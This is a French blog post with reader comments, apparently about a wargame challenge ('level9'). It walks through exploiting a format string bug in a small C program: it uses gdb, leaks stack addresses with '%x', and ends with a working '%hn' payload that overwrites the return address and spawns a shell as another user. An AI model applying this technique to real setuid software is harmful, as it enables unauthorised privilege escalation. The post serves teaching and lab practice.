Je vais ici montrer un simple trick concernant l'exploitation de format string. Ca va consister à vite trouver l'addresse où écrire.
Tout d'abord le challenge :
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char* argv[]) { if (argc != 2) { printf("Usage : ./prog arg\n"); exit(1); } char name[1024]; strncpy(name,argv[1],1024); name[1023] = '\0'; printf("Votre nom est : "); printf(name); printf("\n"); return 0; }
On lance gdb :
level9@VmAppliZenk:~$ gdb -q ./level9 warning: not using untrusted file "/home/level9/.gdbinit" (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x08048474 <main+0>: lea ecx,[esp+0x4] 0x08048478 <main+4>: and esp,0xfffffff0 0x0804847b <main+7>: push DWORD PTR [ecx-0x4] 0x0804847e <main+10>: push ebp 0x0804847f <main+11>: mov ebp,esp 0x08048481 <main+13>: push ecx 0x08048482 <main+14>: sub esp,0x414 0x08048488 <main+20>: mov DWORD PTR [ebp-0x408],ecx 0x0804848e <main+26>: mov eax,DWORD PTR [ebp-0x408] 0x08048494 <main+32>: cmp DWORD PTR [eax],0x2 0x08048497 <main+35>: je 0x80484b1 <main+61> 0x08048499 <main+37>: mov DWORD PTR [esp],0x80485e0 0x080484a0 <main+44>: call 0x8048398 <puts@plt> 0x080484a5 <main+49>: mov DWORD PTR [esp],0x1 0x080484ac <main+56>: call 0x80483a8 <exit@plt> 0x080484b1 <main+61>: mov edx,DWORD PTR [ebp-0x408] 0x080484b7 <main+67>: mov eax,DWORD PTR [edx+0x4] 0x080484ba <main+70>: add eax,0x4 0x080484bd <main+73>: mov eax,DWORD PTR [eax] 0x080484bf <main+75>: mov DWORD PTR [esp+0x8],0x400 0x080484c7 <main+83>: mov DWORD PTR [esp+0x4],eax 0x080484cb <main+87>: lea eax,[ebp-0x404] 0x080484d1 <main+93>: mov DWORD PTR [esp],eax 0x080484d4 <main+96>: call 0x8048358 <strncpy@plt> 0x080484d9 <main+101>: mov BYTE PTR [ebp-0x5],0x0 0x080484dd <main+105>: mov DWORD PTR [esp],0x80485f3 0x080484e4 <main+112>: call 0x8048388 <printf@plt> 0x080484e9 <main+117>: lea eax,[ebp-0x404] 0x080484ef <main+123>: mov DWORD PTR [esp],eax 0x080484f2 <main+126>: call 0x8048388 <printf@plt> 0x080484f7 <main+131>: mov DWORD PTR [esp],0xa 0x080484fe <main+138>: call 0x8048368 <putchar@plt> 0x08048503 <main+143>: mov eax,0x0 0x08048508 <main+148>: add esp,0x414 0x0804850e <main+154>: pop ecx 0x0804850f <main+155>: pop ebp 0x08048510 <main+156>: lea esp,[ecx-0x4] 0x08048513 <main+159>: ret End of assembler dump. (gdb) break *0x080484f2 Breakpoint 1 at 0x80484f2 (gdb) r %x Starting program: /home/level9/level9 %x Breakpoint 1, 0x080484f2 in main () Current language: auto; currently asm (gdb) x/10x $esp-16 0xbffff470: 0xbffff484 0xb7fd8ff4 0xbffff898 0x080484e9 0xbffff480: 0xbffff494 0xbffffa44 0x00000400 0xbffff4a0 0xbffff490: 0xbffff8b0 0x252e7825
On pose un breakpoint sur la ligne 0x080484f2 on retourne ensuite en 0x080484f7 normalement.
On dumpe et on doit re-écrire l'adresse de retour (en vert).
L'adresse de re-écriture est en 0xbffff47c.
Bon comment on fait en dehors de gdb?
C'est là que la format string devient utile pour de l'information leak :
(gdb) r `python -c 'print "%x." * 10'` Votre nom est : bffffa44.400.bffff4a0.bffff8b0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e. Program exited normally. (gdb) quit
On peut calculer l'adresse où écrire grâce à la troisième valeur :
offset pour avoir le début : 0xbffff4a0 - 0xbffff470 = 30
addresse où écrire : bffff470 + 0xc = bffff47c
On va essayer ça sans gdb now :).
level9@VmAppliZenk:~$ ./level9 `python -c 'print "%x." * 10'` Votre nom est : bfffaa30.400.bfffa490.bfffa8a0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
Addresse où on doit écrire : 0xbfffa490 - 0x30 + c = 0xbfffa46c
On essaie :
level9@VmAppliZenk:~$ ./level9 `python -c 'print "\x6c\xa4\xff\xbf" + "%55121x" + "%5$hn" + "\x6e\xa4\xff\xbf" + "%59558x" + "%9$hn"'` sh-3.2$ id uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1012(challengers)
Pawned,
m_101
sympa la technique je connaissais pas :)
RépondreSupprimerj'ai tout de même une petite question:
"On peut calculer l'adresse où écrire grâce à la troisième valeur"
Ok ça j'ai compris, et c'est possible parce que la différence entre l'adresse où il faut écrire et l'adresse qui constitue la troisième valeur est constante (-0x30 + 0xc). Donc ok cela marche pour la troisième valeur.
Mais j'ai tenté avec la première valeur et il s'avère que la différence ne semble pas constante. Donc y'a t'il un moyen de savoir si l'adresse sur laquelle on se base dans le leaking est bonne ou il faut bourriner en testant toutes les adresses qu'on chope avec "%x" ?
Merci, shp
Non aucuns bruteforce n'est nécessaire dans des cas similaires à celui présenté dans cet article.
RépondreSupprimerEn regardant le dump de la stack avec gdb :
(gdb) x/10x $esp-16
Tu peux repérer l'adresse de retour dans la stack et choisir l'adresse qui convient après plusieurs tests.
Là dans ce cas, pour choisir l'adresse, ça a juste consisté à repérer un pattern : bffff4xx et si l'adresse était pas bonne, j'aurais choisi une autre adresse.
Le choix d'une adresse va dépendre du contenu qu'elle référence.
En effet, il a des cas où les offsets peuvent changer :
- le nom de l'exécutable (et le chemin où il se trouve)
- une string qu'on entre (ce qui est le cas dans ce programme)
- ...
Par contre, les offsets entre les différentes adresses de stacks sont constantes car tu gardes le même modèle de stackframe généralement (dans le cas d'ASLR on aussi).